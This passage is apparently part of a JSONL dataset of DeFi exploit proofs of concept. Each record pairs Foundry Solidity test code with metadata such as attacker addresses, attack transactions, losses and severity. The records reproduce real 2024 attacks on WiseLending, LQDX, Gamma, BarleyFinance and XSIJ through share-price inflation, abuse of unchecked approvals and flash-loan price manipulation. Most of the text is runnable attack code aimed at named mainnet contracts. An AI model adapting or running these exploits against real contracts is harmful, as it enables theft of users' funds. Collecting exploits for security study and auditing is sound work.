"https://etherscan.io/tx/0x04e16a79ff928db2fa88619cdd045cdfc7979a61d836c9c9e585b3d6f6d8bc31", "postmortem_url": null, "twitter_url": null, "has_keyinfo": true, "has_analysis": true, "has_attack_vector": false, "severity": "high", "severity_raw": "~464K USD$", "category": "unknown", "exploit_code": "function testExploit() public {\n deal(address(PendleLPT), address(this), 520_539_781_914_590_517_894);\n\n emit log_named_decimal_uint(\"Attacker PendleLPT Balance before exploit\", PendleLPT.balanceOf(address(this)), 18);\n\n PendleLPT.approve(address(LPTPoolToken), type(uint256).max);\n LPTPoolToken.depositExactAmount(PendleLPT.balanceOf(address(this)));\n LPTPoolToken.approve(address(wiseLending), type(uint256).max);\n\n // set WiseLending pool state: pseudoTotalPool(underlying): 2 wei, totalDepositShares(share): 1 wei\n // see below tx: https://etherscan.io/tx/0x67d6c554314c9b306d683afb3bc4a10e70509ceb0fdf8415a5e270a91fae52de\n vm.startPrank(attackerContract);\n PositionNFTs.transferFrom(attackerContract, address(this), 8);\n vm.stopPrank();\n\n console.log(\"\\n 1. set wiseLending pool state\");\n wiseLending.withdrawExactShares(\n 8, address(LPTPoolToken), wiseLending.getPositionLendingShares(8, address(LPTPoolToken))\n );\n (uint256 underlyingAmount, uint256 shareAmount,) = wiseLending.lendingPoolData(address(LPTPoolToken));\n console.log(\"WiseLending pool state now, underlyingAmount:\", underlyingAmount, \"shareAmount: \", shareAmount);\n console.log(\"wiseLending Share Price 1: \", underlyingAmount / shareAmount);\n\n // inflae share price by donate LPTPoolToken to the wiseLending\n while (underlyingAmount / shareAmount < 36 ether) {\n wiseLending.depositExactAmount(8, address(LPTPoolToken), underlyingAmount * 2 - 1); //Since rounding in favor of the protocol, deposit 2x - 1 underlying, mint 1 share\n wiseLending.withdrawExactAmount(8, address(LPTPoolToken), 1); // withdraw 1 underlying, burn 1 share\n (underlyingAmount, shareAmount,) = wiseLending.lendingPoolData(address(LPTPoolToken));\n }\n console.log(\"\\n 2. Donate LPTPoolToken to wiseLending by rounding in favor of the protocol\");\n console.log(\"WiseLending pool state now, underlyingAmount:\", underlyingAmount, \"shareAmount: \", shareAmount);\n console.log(\"wiseLending Share Price 2: \", underlyingAmount / shareAmount);\n\n //Mint 6 shares for withdraw donate LPTPoolToken\n console.log(\"\\n 3. Mint 6 shares for withdraw donate LPTPoolToken\");\n wiseLending.depositExactAmount(8, address(LPTPoolToken), 6 * underlyingAmount);\n\n // Open a position to borrow assets in 6 new accounts\n // Donate position collateral to the wiseLending pool through the incorrect health factor check\n console.log(\"\\n 4. Open positions to borrow assets and further inflae the share price\");\n for (uint256 i = 0; i < 6; i++) {\n helpers[i] = new Helper();\n }\n (underlyingAmount, shareAmount,) = wiseLending.lendingPoolData(address(LPTPoolToken));\n LPTPoolToken.transfer(address(helpers[0]), underlyingAmount / shareAmount + 10);\n helpers[0].borrow(wstETH, underlyingAmount / shareAmount + 1, 43_767_595_652_604_943_692);\n\n (underlyingAmount, shareAmount,) = wiseLending.lendingPoolData(address(LPTPoolToken));\n console.log(\"WiseLending Share Price 3: \", underlyingAmount / shareAmount);\n LPTPoolToken.transfer(address(helpers[1]), underlyingAmount / shareAmount + 10);\n helpers[1].borrow(wstETH, underlyingAmount / shareAmount + 1, 50_020_109_317_262_792_792);\n\n (underlyingAmount, shareAmount,) = wiseLending.lendingPoolData(address(LPTPoolToken));\n console.log(\"WiseLending Share Price 4: \", underlyingAmount / shareAmount);\n LPTPoolToken.transfer(address(helpers[2]), underlyingAmount / shareAmount + 10);\n helpers[2].borrow(LPTPoolToken, underlyingAmount / shareAmount + 1, 23_443_463_776_915_873_010);\n\n (underlyingAmount, shareAmount,) = wiseLending.lendingPoolData(address(LPTPoolToken));\n console.log(\"WiseLending Share Price 5: \", underlyingAmount / shareAmount);\n LPTPoolToken.transfer(address(helpers[3]), underlyingAmount / shareAmount + 10);\n helpers[3].borrow(WETH, underlyingAmount / shareAmount + 1, 73_498_936_139_651_450_633);\n\n (underlyingAmount, shareAmount,) = wiseLending.lendingPoolData(address(LPTPoolToken));\n console.log(\"WiseLending Share Price 6: \", underlyingAmount / shareAmount);\n LPTPoolToken.transfer(address(helpers[4]), underlyingAmount / shareAmount + 10);\n helpers[4].borrow(LPTPoolToken, underlyingAmount / shareAmount + 1, 27_742_814_258_725_671_652);\n\n (underlyingAmount, shareAmount,) = wiseLending.lendingPoolData(address(LPTPoolToken));\n console.log(\"WiseLending Share Price 7: \", underlyingAmount / shareAmount);\n LPTPoolToken.transfer(address(helpers[5]), underlyingAmount / shareAmount + 10);\n helpers[5].borrow(LPTPoolToken, underlyingAmount / shareAmount + 1, 48_332_561_371_175_655_788);\n\n // Withdraw donated LPTPoolTokens due to the increase in share price\n console.log(\"\\n 5. Withdraw donated LPTPoolTokens due to the increase in share price\");\n wiseLending.withdrawExactAmount(8, address(LPTPoolToken), wiseLending.getTotalPool(address(LPTPoolToken)));\n\n LPTPoolToken.withdrawExactShares(LPTPoolToken.balanceOf(address(this)));\n\n emit log_named_decimal_uint(\n \"\\n Attacker PendleLPT Balance After exploit\", PendleLPT.balanceOf(address(this)), 18\n );\n\n emit log_named_decimal_uint(\"Attacker WETH Balance After exploit\", WETH.balanceOf(address(this)), 18);\n\n emit log_named_decimal_uint(\"Attacker wstETH Balance After exploit\", wstETH.balanceOf(address(this)), 18);\n }\n}\n\ncontract Helper {\n IERC20 PendleLPT = IERC20(0xC374f7eC85F8C7DE3207a10bB1978bA104bdA3B2);\n IPool LPTPoolToken = IPool(0xB40b073d7E47986D3A45Ca7Fd30772C25A2AD57f); // underlyingToken\n IWiseLending wiseLending = IWiseLending(payable(0x37e49bf3749513A02FA535F0CbC383796E8107E4));\n IERC20 wstETH = IERC20(0x7f39C581F595B53c5cb19bD0b3f8dA6c935E2Ca0);\n IERC20 WETH = IERC20(0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2);\n PositionManager PositionNFTs = PositionManager(0x32E0A7F7C4b1A19594d25bD9b63EBA912b1a5f61);", "has_exploit_code": true, "keyinfo_total_lost": "~464K USD$", "keyinfo_attacker": "https://etherscan.io/address/0xb90cf1d740b206b6d80854bc525e609dc42b45dc", "keyinfo_attack_contract": "https://etherscan.io/address/0x91c49cc7fbfe8f70aceeb075952cd64817f9d82c", "keyinfo_vulnerable_contract": "https://etherscan.io/address/0x37e49bf3749513a02fa535f0cbc383796e8107e4", "keyinfo_attack_tx": "https://etherscan.io/tx/0x04e16a79ff928db2fa88619cdd045cdfc7979a61d836c9c9e585b3d6f6d8bc31", "analysis_postmortem": "", "analysis_twitter": "", "funds_lost_formatted": "$464.0K", "content_richness_score": 9, "quality_estimate": "high", "title": "WiseLending03 Exploit (2024-01)", "has_total_lost": true, "has_vulnerable_contract": true, "has_attack_tx": true, "has_postmortem": false} +{"source_code": "// SPDX-License-Identifier: UNLICENSED\npragma solidity ^0.8.10;\n\nimport \"forge-std/Test.sol\";\n\n// @Info\n// LQDX LiquidXv2Zap Contract : https://etherscan.io/address/0x364f17a23ae4350319b7491224d10df5796190bc#codeL490\n\n// @NewsTrack\n// SlowMist : https://twitter.com/SlowMist_Team/status/1744972012865671452\n\n// Note: the problem lies in the `deposit` function where there is no check that the `account` should be `msg.sender`, thus `account`'s approval on the `zap` can be spent to buy tokens and add liquidity.\n\ninterface ILiquidXv2Zap {\n struct swapRouter {\n string platform;\n address tokenIn;\n address tokenOut;\n uint256 amountOutMin;\n uint256 meta; // fee, flag(stable), 0=v2\n uint256 percent;\n }\n\n struct swapLine {\n swapRouter[] swaps;\n }\n\n struct swapBlock {\n swapLine[] lines;\n }\n\n struct swapPath {\n swapBlock[] path;\n }\n\n function deposit(\n address account,\n address token,\n address tokenM,\n swapPath calldata path,\n address token0,\n address token1,\n uint256[3] calldata amount,\n uint256 basketId\n ) external payable returns (uint256);\n}\n\ninterface IERC20 {\n function balanceOf(\n address account\n ) external view returns (uint256);\n function allowance(address owner, address spender) external view returns (uint256);\n function approve(address spender, uint256 value) external returns (bool);\n}\n\ninterface ILiquidXv2Pair {\n function token0() external view returns (address);\n function token1() external view returns (address);\n function getReserves() external view returns (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast);\n}\n\ncontract Exploit is Test {\n IERC20 WETH = IERC20(0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2);\n IERC20 LQDX = IERC20(0x872952d3c1Caf944852c5ADDa65633F1Ef218A26);\n ILiquidXv2Zap zap = ILiquidXv2Zap(0x364f17A23AE4350319b7491224d10dF5796190bC);\n ILiquidXv2Pair WETH_LQDX_pair = ILiquidXv2Pair(0x1884C3D0ac1A3ACF0698b2a19866cee4cE27c31A);\n\n address victim = address(0x1);\n address attacker = address(0xbad);\n\n function setUp() public {\n vm.createSelectFork(\"mainnet\", 19_165_893);\n vm.deal(victim, 1 ether);\n vm.deal(attacker, 1 ether);\n deal(address(WETH), victim, 10 ether); // the approved funds to be stolen\n emit log_named_uint(\"victim WETH balance (ether) before attack\", (WETH.balanceOf(victim)) / 1 ether);\n vm.prank(victim);\n WETH.approve(address(zap), 10 ether);\n emit log_named_uint(\"victim approved on zap contract (ether)\", (WETH.allowance(victim, address(zap))) / 1 ether);\n }\n\n function testExploit() public {\n vm.startPrank(attacker);\n (uint112 lqdx_before, uint112 weth_before,) = WETH_LQDX_pair.getReserves();\n emit log_named_uint(\"before attack, LQDX in the pool\", lqdx_before / 1 ether);\n emit log_named_uint(\"before attack, WETH in the pool\", weth_before / 1 ether);\n\n // attack starts here\n ILiquidXv2Zap.swapBlock[] memory path;\n uint256[3] memory amounts = [WETH.allowance(victim, address(zap)), 0, 0];\n zap.deposit(\n victim,\n address(WETH),\n address(WETH),\n ILiquidXv2Zap.swapPath({path: path}),\n address(WETH),\n address(LQDX),\n amounts,\n 0\n );\n\n (uint112 lqdx_after, uint112 weth_after,) = WETH_LQDX_pair.getReserves();\n emit log_named_uint(\"after attack, LQDX in the pool\", lqdx_after / 1 ether);\n emit log_named_uint(\"after attack, WETH in the pool\", weth_after / 1 ether);\n emit log_named_uint(\"victim WETH balance (ether) after attack\", (WETH.balanceOf(victim)) / 1 ether);\n }\n}\n", "type": "exploit_poc", "protocol": "LQDX_alert", "date": "2024-01", "file_name": "LQDX_alert_exp.sol", "attack_vector": null, "content_hash": "13433be766e89bb4", "collected_at": "2026-01-07T10:59:16.529022", "_source": "postmortems", "chain": "ethereum", "block_number": 19165893, "total_lost_raw": null, "total_lost_usd": null, "attacker_address": null, "attack_contract": null, "vulnerable_contract": null, "attack_tx": null, "postmortem_url": null, "twitter_url": null, "has_keyinfo": false, "has_analysis": false, "has_attack_vector": false, "severity": "medium", "severity_raw": null, "category": "unknown", "exploit_code": "function testExploit() public {\n vm.startPrank(attacker);\n (uint112 lqdx_before, uint112 weth_before,) = WETH_LQDX_pair.getReserves();\n emit log_named_uint(\"before attack, LQDX in the pool\", lqdx_before / 1 ether);\n emit log_named_uint(\"before attack, WETH in the pool\", weth_before / 1 ether);\n\n // attack starts here\n ILiquidXv2Zap.swapBlock[] memory path;\n uint256[3] memory amounts = [WETH.allowance(victim, address(zap)), 0, 0];\n zap.deposit(\n victim,\n address(WETH),\n address(WETH),\n ILiquidXv2Zap.swapPath({path: path}),\n address(WETH),\n address(LQDX),\n amounts,\n 0\n );\n\n (uint112 lqdx_after, uint112 weth_after,) = WETH_LQDX_pair.getReserves();\n emit log_named_uint(\"after attack, LQDX in the pool\", lqdx_after / 1 ether);\n emit log_named_uint(\"after attack, WETH in the pool\", weth_after / 1 ether);\n emit log_named_uint(\"victim WETH balance (ether) after attack\", (WETH.balanceOf(victim)) / 1 ether);\n }", "has_exploit_code": true, "keyinfo_total_lost": "", "keyinfo_attacker": "", "keyinfo_attack_contract": "", "keyinfo_vulnerable_contract": "", "keyinfo_attack_tx": "", "analysis_postmortem": "", "analysis_twitter": "", "funds_lost_formatted": "Unknown", "content_richness_score": 3.9, "quality_estimate": "low", "title": "LQDX_alert Exploit (2024-01)", "has_total_lost": false, "has_vulnerable_contract": false, "has_attack_tx": false, "has_postmortem": false} +{"source_code": "// SPDX-License-Identifier: UNLICENSED\npragma solidity ^0.8.22;\n\nimport \"forge-std/Test.sol\";\n\n// @KeyInfo - Total Lost : ~$6.3m\n// Attacker : 0x5351536145610aa448a8bf85ba97c71caf31909c\n// Attack Contract : 0xfd42cba85f6567fef32bab24179de21b9851b63e\n// Vulnerable Contract : 0x1F1Ca4e8236CD13032653391dB7e9544a6ad123E\n// Attack Tx : https://arbiscan.io/tx/0x025cf2858723369d606ee3abbc4ec01eab064a97cc9ec578bf91c6908679be75\n\n// @Info\n// Vulnerable Contract Code : https://arbiscan.io/address/0x1F1Ca4e8236CD13032653391dB7e9544a6ad123E#code\n\n// @Analysis\n// Twitter alert by Officer's Notes : https://twitter.com/officer_cia/status/1742772207997050899\n// Twitter alert by shouc / BlockSec: https://twitter.com/shoucccc/status/1742765618984829326\n\ncontract ContractTest is Test {\n receive() external payable {}\n\n address constant uniproxy = 0x1F1Ca4e8236CD13032653391dB7e9544a6ad123E;\n address constant algebra_pool = 0x3AB5DD69950a948c55D1FBFb7500BF92B4Bd4C48;\n address constant usdt_usdce_pool = 0x61A7b3dae70D943C6f2eA9ba4FfD2fEcc6AF15E4;\n address constant weth_usdt_pool = 0x641C00A822e8b671738d32a431a4Fb6074E5c79d;\n address constant weth = 0x82aF49447D8a07e3bd95BD0d56f35241523fBab1;\n address constant balancer = 0xBA12222222228d8Ba445958a75a0704d566BF2C8;\n address constant weth_usdce_pool = 0xC31E54c7a869B9FcBEcc14363CF510d1c41fa443;\n address constant usdt = 0xFd086bC7CD5C481DCC9C85ebE478A1C0b69FCbb9;\n address constant usdce = 0xFF970A61A04b1cA14834A43f5dE4533eBDDB5CC8;\n\n function setUp() public {\n vm.createSelectFork(\"arbitrum\", 166_873_291);\n }\n\n function testExploit() public {\n uint256 initial_balance = address(this).balance;\n I(usdt).approve(usdt_usdce_pool, type(uint256).max);\n I(usdce).approve(usdt_usdce_pool, type(uint256).max);\n I(weth_usdt_pool).flash(address(this), 0, 3_000_000_000_000, \"\");\n\n I(weth_usdce_pool).swap(\n address(this),\n false,\n int256(I(usdce).balanceOf(address(this))),\n 4_526_582_309_038_291_990_822_582, // the price limit of the swap\n \"\"\n );\n\n // received weth and withdraw\n I(weth).withdraw(I(weth).balanceOf(address(this)));\n\n console.log(\"Earned %s ETH\", (address(this).balance - initial_balance) / 1e18);\n }\n\n function calculatePrice() internal returns (uint160) {\n I.GlobalState memory gs = I(algebra_pool).globalState();\n return (gs.price * 85_572) / 100_000;\n }\n\n function uniswapV3FlashCallback(uint256 v1, uint256 v2, bytes memory) public {\n address[] memory arr01 = new address[](1);\n arr01[0] = usdce;\n uint256[] memory arr02 = new uint256[](1);\n arr02[0] = 2_000_000_000_000;\n I(balancer).flashLoan(address(this), arr01, arr02, \"x\");\n uint256 v2 = I(usdt).balanceOf(address(this)) - 3_001_500_000_000;\n I(algebra_pool).swap(address(this), true, 473_259_664_738, calculatePrice(), \"\");\n\n // repay flash loan\n I(usdt).transfer(weth_usdt_pool, 3_001_500_000_000);\n }\n\n function uniswapV3SwapCallback(int256 amount0Delta, int256 amount1Delta, bytes memory) public {\n I(usdce).transfer(weth_usdce_pool, uint256(amount1Delta));\n }\n\n function algebraSwapCallback(int256 amount0Delta, int256 amount1Delta, bytes memory) public {\n if (amount0Delta > 0) {\n I(usdt).transfer(algebra_pool, uint256(amount0Delta));\n } else {\n I(usdce).transfer(algebra_pool, uint256(amount1Delta));\n }\n }\n\n function receiveFlashLoan(\n address[] memory,\n uint256[] memory amounts,\n uint256[] memory feeAmounts,\n bytes memory\n ) public {\n uint256[4] memory empty_arr;\n empty_arr[0] = 0;\n empty_arr[1] = 0;\n empty_arr[2] = 0;\n empty_arr[3] = 0;\n\n for (uint256 i = 0; i < 15; i++) {\n I(algebra_pool).swap(address(this), true, int256(I(usdt).balanceOf(address(this))), calculatePrice(), \"\");\n\n uint256 val = I(uniproxy).deposit(1, 300_000_000_000, address(this), usdt_usdce_pool, empty_arr);\n\n I(usdt_usdce_pool).withdraw(val, address(this), address(this), empty_arr);\n\n I(algebra_pool).swap(\n address(this),\n false,\n int256(I(usdce).balanceOf(address(this))),\n 83_949_998_135_706_271_822_084_553_181,\n \"\"\n );\n I(uniproxy).deposit(1, 1_000_000, address(this), usdt_usdce_pool, empty_arr);\n }\n I(algebra_pool).swap(\n address(this), true, -int256(amounts[0] - I(usdce).balanceOf(address(this))), calculatePrice(), \"\"\n );\n\n I(usdce).transfer(balancer, amounts[0]);\n }\n}\n\ninterface I {\n struct GlobalState {\n uint160 price; // The square root of the current price in Q64.96 format\n int24 tick; // The current tick\n uint16 feeZto; // The current fee for ZtO swap in hundredths of a bip, i.e. 1e-6\n uint16 feeOtz; // The current fee for OtZ swap in hundredths of a bip, i.e. 1e-6\n uint16 timepointIndex; // The index of the last written timepoint\n uint8 communityFeeToken0; // The community fee represented as a percent of all collected fee in thousandths (1e-3)\n uint8 communityFeeToken1;\n bool unlocked; // True if the contract is unlocked, otherwise - false\n }\n\n function globalState() external view returns (GlobalState memory);\n\n function approve(address, uint256) external payable returns (uint256);\n\n function flash(address, uint256, uint256, bytes memory) external payable;\n\n function balanceOf(\n address\n ) external payable returns (uint256);\n\n function flashLoan(address, address[] memory, uint256[] memory, bytes memory) external payable;\n\n function deposit(uint256, uint256, address, address, uint256[4] memory) external payable returns (uint256);\n\n function transfer(address, uint256) external payable returns (uint256);\n\n function withdraw(uint256, address, address, uint256[4] memory) external payable;\n\n function withdraw(\n uint256\n ) external payable;\n\n function swap(address, bool, int256, uint160, bytes memory) external payable;\n}\n", "type": "exploit_poc", "protocol": "Gamma", "date": "2024-01", "file_name": "Gamma_exp.sol", "attack_vector": "flash_loan", "content_hash": "5b09b099d0b041e2", "collected_at": "2026-01-07T10:59:16.529070", "_source": "postmortems", "chain": "arbitrum", "block_number": 166873291, "total_lost_raw": "~$6.3m", "total_lost_usd": 6300000.0, "attacker_address": null, "attack_contract": null, "vulnerable_contract": null, "attack_tx": "https://arbiscan.io/tx/0x025cf2858723369d606ee3abbc4ec01eab064a97cc9ec578bf91c6908679be75", "postmortem_url": null, "twitter_url": null, "has_keyinfo": true, "has_analysis": true, "has_attack_vector": true, "severity": "critical", "severity_raw": "~$6.3m", "category": "flash-loan", "exploit_code": "function testExploit() public {\n uint256 initial_balance = address(this).balance;\n I(usdt).approve(usdt_usdce_pool, type(uint256).max);\n I(usdce).approve(usdt_usdce_pool, type(uint256).max);\n I(weth_usdt_pool).flash(address(this), 0, 3_000_000_000_000, \"\");\n\n I(weth_usdce_pool).swap(\n address(this),\n false,\n int256(I(usdce).balanceOf(address(this))),\n 4_526_582_309_038_291_990_822_582, // the price limit of the swap\n \"\"\n );\n\n // received weth and withdraw\n I(weth).withdraw(I(weth).balanceOf(address(this)));\n\n console.log(\"Earned %s ETH\", (address(this).balance - initial_balance) / 1e18);\n }", "has_exploit_code": true, "keyinfo_total_lost": "~$6.3m", "keyinfo_attacker": "", "keyinfo_attack_contract": "", "keyinfo_vulnerable_contract": "", "keyinfo_attack_tx": "https://arbiscan.io/tx/0x025cf2858723369d606ee3abbc4ec01eab064a97cc9ec578bf91c6908679be75", "analysis_postmortem": "", "analysis_twitter": "", "funds_lost_formatted": "$6.30M", "content_richness_score": 9, "quality_estimate": "high", "title": "Gamma Exploit (2024-01)", "has_total_lost": true, "has_vulnerable_contract": false, "has_attack_tx": true, "has_postmortem": false} +{"source_code": "// SPDX-License-Identifier: UNLICENSED\npragma solidity ^0.8.10;\n\nimport \"forge-std/Test.sol\";\nimport \"./../interface.sol\";\n\n// @KeyInfo - Total Lost : ~$130K\n// Attacker : https://etherscan.io/address/0x7b3a6eff1c9925e509c2b01a389238c1fcc462b6\n// Attack Contracts : https://etherscan.io/address/0x356e7481b957be0165d6751a49b4b7194aef18d5\n// Vuln Contract : https://etherscan.io/address/0x04c80bb477890f3021f03b068238836ee20aa0b8\n// Attack Tx : https://app.blocksec.com/explorer/tx/eth/0x995e880635f4a7462a420a58527023f946710167ea4c6c093d7d193062a33b01\n\n// @Analysis\n// https://app.blocksec.com/explorer/security-incidents\n// https://www.bitget.com/news/detail/12560603890246\n// https://twitter.com/Phalcon_xyz/status/1751788389139992824\n\ninterface IwBARL is IERC20 {\n function flash(address _recipient, address _token, uint256 _amount, bytes memory _data) external;\n\n function bond(address _token, uint256 _amount) external;\n\n function debond(uint256 _amount, address[] memory, uint8[] memory) external;\n}\n\ninterface IUniswapV3Router {\n struct ExactInputParams {\n bytes path;\n address recipient;\n uint256 deadline;\n uint256 amountIn;\n uint256 amountOutMinimum;\n }\n\n function exactInput(\n ExactInputParams memory params\n ) external payable returns (uint256 amountOut);\n}\n\ncontract ContractTest is Test {\n IERC20 private constant DAI = IERC20(0x6B175474E89094C44Da98b954EedeAC495271d0F);\n IERC20 private constant BARL = IERC20(0x3e2324342bF5B8A1Dca42915f0489497203d640E);\n IERC20 private constant WETH = IERC20(0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2);\n IwBARL private constant wBARL = IwBARL(0x04c80Bb477890F3021F03B068238836Ee20aA0b8);\n IUniswapV3Router private constant Router = IUniswapV3Router(0xE592427A0AEce92De3Edee1F18E0157C05861564);\n\n function setUp() public {\n vm.createSelectFork(\"mainnet\", 19_106_654);\n vm.label(address(DAI), \"DAI\");\n vm.label(address(BARL), \"BARL\");\n vm.label(address(WETH), \"WETH\");\n vm.label(address(wBARL), \"wBARL\");\n vm.label(address(Router), \"Router\");\n }\n\n function testExploit() public {\n // Start with 200 DAI tokens transferred from exploiter to attack contract in txs:\n // https://app.blocksec.com/explorer/tx/eth/0xa685928b5102349a5cc50527fec2e03cb136c233505471bdd4363d0ab077a69a\n // https://app.blocksec.com/explorer/tx/eth/0xaaa197c7478063eb1124c8d8b03016fe080e6ec4c4f4a4e6d7f09022084e3390\n // DAI tokens will be used by wBARL flash function\n deal(address(DAI), address(this), 200e18);\n\n emit log_named_decimal_uint(\n \"Exploiter WETH balance before attack\", WETH.balanceOf(address(this)), WETH.decimals()\n );\n\n uint8 i;\n while (i < 20) {\n DAI.approve(address(wBARL), 10e18);\n wBARL.flash(address(this), address(BARL), BARL.balanceOf(address(wBARL)), \"\");\n ++i;\n }\n\n address[] memory token = new address[](1);\n token[0] = address(BARL);\n uint8[] memory percentage = new uint8[](1);\n percentage[0] = 100;\n wBARL.debond(wBARL.balanceOf(address(this)), token, percentage);\n\n BARLToWETH();\n emit log_named_decimal_uint(\n \"Exploiter WETH balance after attack\", WETH.balanceOf(address(this)), WETH.decimals()\n );\n }\n\n function callback(\n bytes calldata data\n ) external {\n BARL.approve(address(wBARL), BARL.balanceOf(address(this)));\n wBARL.bond(address(BARL), BARL.balanceOf(address(this)));\n }\n\n function BARLToWETH() internal {\n BARL.approve(address(Router), type(uint256).max);\n bytes memory _path = abi.encodePacked(address(BARL), hex\"002710\", address(DAI), hex\"0001f4\", address(WETH));\n IUniswapV3Router.ExactInputParams memory params = IUniswapV3Router.ExactInputParams({\n path: _path,\n recipient: address(this),\n deadline: block.timestamp + 1000,\n amountIn: BARL.balanceOf(address(this)),\n amountOutMinimum: 0\n });\n Router.exactInput(params);\n }\n}\n", "type": "exploit_poc", "protocol": "BarleyFinance", "date": "2024-01", "file_name": "BarleyFinance_exp.sol", "attack_vector": null, "content_hash": "58373d2ea4e828b0", "collected_at": "2026-01-07T10:59:16.529135", "_source": "postmortems", "chain": "ethereum", "block_number": 19106654, "total_lost_raw": "~$130K", "total_lost_usd": 130000.0, "attacker_address": "https://etherscan.io/address/0x7b3a6eff1c9925e509c2b01a389238c1fcc462b6", "attack_contract": null, "vulnerable_contract": null, "attack_tx": "https://app.blocksec.com/explorer/tx/eth/0x995e880635f4a7462a420a58527023f946710167ea4c6c093d7d193062a33b01", "postmortem_url": null, "twitter_url": null, "has_keyinfo": true, "has_analysis": true, "has_attack_vector": false, "severity": "high", "severity_raw": "~$130K", "category": "unknown", "exploit_code": "function testExploit() public {\n // Start with 200 DAI tokens transferred from exploiter to attack contract in txs:\n // https://app.blocksec.com/explorer/tx/eth/0xa685928b5102349a5cc50527fec2e03cb136c233505471bdd4363d0ab077a69a\n // https://app.blocksec.com/explorer/tx/eth/0xaaa197c7478063eb1124c8d8b03016fe080e6ec4c4f4a4e6d7f09022084e3390\n // DAI tokens will be used by wBARL flash function\n deal(address(DAI), address(this), 200e18);\n\n emit log_named_decimal_uint(\n \"Exploiter WETH balance before attack\", WETH.balanceOf(address(this)), WETH.decimals()\n );\n\n uint8 i;\n while (i < 20) {\n DAI.approve(address(wBARL), 10e18);\n wBARL.flash(address(this), address(BARL), BARL.balanceOf(address(wBARL)), \"\");\n ++i;\n }\n\n address[] memory token = new address[](1);\n token[0] = address(BARL);\n uint8[] memory percentage = new uint8[](1);\n percentage[0] = 100;\n wBARL.debond(wBARL.balanceOf(address(this)), token, percentage);\n\n BARLToWETH();\n emit log_named_decimal_uint(\n \"Exploiter WETH balance after attack\", WETH.balanceOf(address(this)), WETH.decimals()\n );\n }", "has_exploit_code": true, "keyinfo_total_lost": "~$130K", "keyinfo_attacker": "https://etherscan.io/address/0x7b3a6eff1c9925e509c2b01a389238c1fcc462b6", "keyinfo_attack_contract": "", "keyinfo_vulnerable_contract": "", "keyinfo_attack_tx": "https://app.blocksec.com/explorer/tx/eth/0x995e880635f4a7462a420a58527023f946710167ea4c6c093d7d193062a33b01", "analysis_postmortem": "", "analysis_twitter": "", "funds_lost_formatted": "$130.0K", "content_richness_score": 7.07, "quality_estimate": "medium", "title": "BarleyFinance Exploit (2024-01)", "has_total_lost": true, "has_vulnerable_contract": false, "has_attack_tx": true, "has_postmortem": false} +{"source_code": "// SPDX-License-Identifier: UNLICENSED\npragma solidity ^0.8.10;\n\nimport \"forge-std/Test.sol\";\nimport \"./../interface.sol\";\n\n// @KeyInfo -- Total Lost : ~51K USD\n// TX : https://app.blocksec.com/explorer/tx/bsc/0xf477089602fefcfc1dbdce15834476267914d64a1e6a52f07d3f135f091e1d27\n// Attacker : https://bscscan.com/address/0xc4f82210c2952fcec77efe734ab2d9b14e858469\n// Attack Contract : https://bscscan.com/address/0x5313f4f04fdcc2330ccfa5ba7da2780850d1d7be\n// GUY : https://x.com/CertiKAlert/status/1752384801535918264\n\ninterface IDodo {\n function flashLoan(uint256 baseAmount, uint256 quoteAmount, address assetTo, bytes calldata data) external;\n}\n\ninterface XSIJ is IERC20 {\n function removePoolAmount() external view returns (uint256);\n}\n\ncontract Exploit is Test {\n CheatCodes cheats = CheatCodes(0x7109709ECfa91a80626fF3989D68f67F5b1DD12D);\n XSIJ Xsij = XSIJ(0x31bfA137C76561ef848c2af9Ca301b60451CaAC0);\n IPancakePair Pair = IPancakePair(0xf43Fd71f404CC450c470d42E3F478a6D38C96311);\n IPancakeRouter Router = IPancakeRouter(payable(0x10ED43C718714eb63d5aA57B78B54704E256024E));\n IDPPOracle private constant DPP = IDPPOracle(0x6098A5638d8D7e9Ed2f952d35B2b67c34EC6B476);\n IERC20 BUSD = IERC20(0x55d398326f99059fF775485246999027B3197955);\n\n function setUp() public {\n cheats.createSelectFork(\"bsc\", 35_702_095);\n deal(address(BUSD), address(this), 0 ether);\n }\n\n function testExploit() public {\n emit log_named_decimal_uint(\n \"Attacker USDT balance before exploit\", BUSD.balanceOf(address(this)), BUSD.decimals()\n );\n DPP.flashLoan(0, 100_000_000_000_000_000_000_000, address(this), new bytes(0x123));\n emit log_named_decimal_uint(\n \"Attacker USDT balance after exploit\", BUSD.balanceOf(address(this)), BUSD.decimals()\n );\n }\n\n function DPPFlashLoanCall(address sender, uint256 baseAmount, uint256 quoteAmount, bytes calldata data) external {\n BUSD.approve(address(Router), 100_000 * 1e18);\n address[] memory path = new address[](2);\n path[0] = address(BUSD);\n path[1] = address(Xsij);\n\n Router.swapExactTokensForTokensSupportingFeeOnTransferTokens(\n 100_000 * 1e18, 0, path, address(this), block.timestamp + 100\n );\n uint256 i;\n while (Xsij.balanceOf(address(Pair)) > 1800 * 1e18) {\n Xsij.transfer(address(Pair), 1);\n i++;\n }\n Xsij.approve(address(Router), 10_111_100_000 * 1e18);\n address[] memory path2 = new address[](2);\n path2[0] = address(Xsij);\n path2[1] = address(BUSD);\n Router.swapExactTokensForTokensSupportingFeeOnTransferTokens(\n Xsij.balanceOf(address(this)), 0, path2, address(this), block.timestamp + 100\n );\n BUSD.transfer(address(msg.sender), quoteAmount);\n }\n\n function getMyVariable() public view returns (uint256) {\n return Xsij.removePoolAmount();\n }\n}\n", "type": "exploit_poc", "protocol": "XSIJ", "date": "2024-01", "file_name": "XSIJ_exp.sol", "attack_vector": "flash_loan", "content_hash": "e9cf8528365c90ec", "collected_at": "2026-01-07T10:59:16.529183", "_source": "postmortems", "chain": "bsc", "block_number": 35702095, "total_lost_raw": "~51K USD", "total_lost_usd": 51000.0, "attacker_address": "https://bscscan.com/address/0xc4f82210c2952fcec77efe734ab2d9b14e858469", "attack_contract": "https://bscscan.com/address/0x5313f4f04fdcc2330ccfa5ba7da2780850d1d7be", "vulnerable_contract": null, "attack_tx": null, "postmortem_url": null, "twitter_url": null, "has_keyinfo": true, "has_analysis": false, "has_attack_vector": true, "severity": "medium", "severity_raw": "~51K USD", "category": "flash-loan", "exploit_code": "function testExploit() public {\n emit log_named_decimal_uint(\n \"Attacker USDT balance before exploit\", BUSD.balanceOf(address(this)), BUSD.decimals()\n );\n DPP.flashLoan(0, 100_000_000_000_000_000_000_000, address(this), new bytes(0x123));\n emit log_named_decimal_uint(\n \"Attacker USDT balance after exploit\", BUSD.balanceOf(address(this)), BUSD.decimals()\n );\n }", 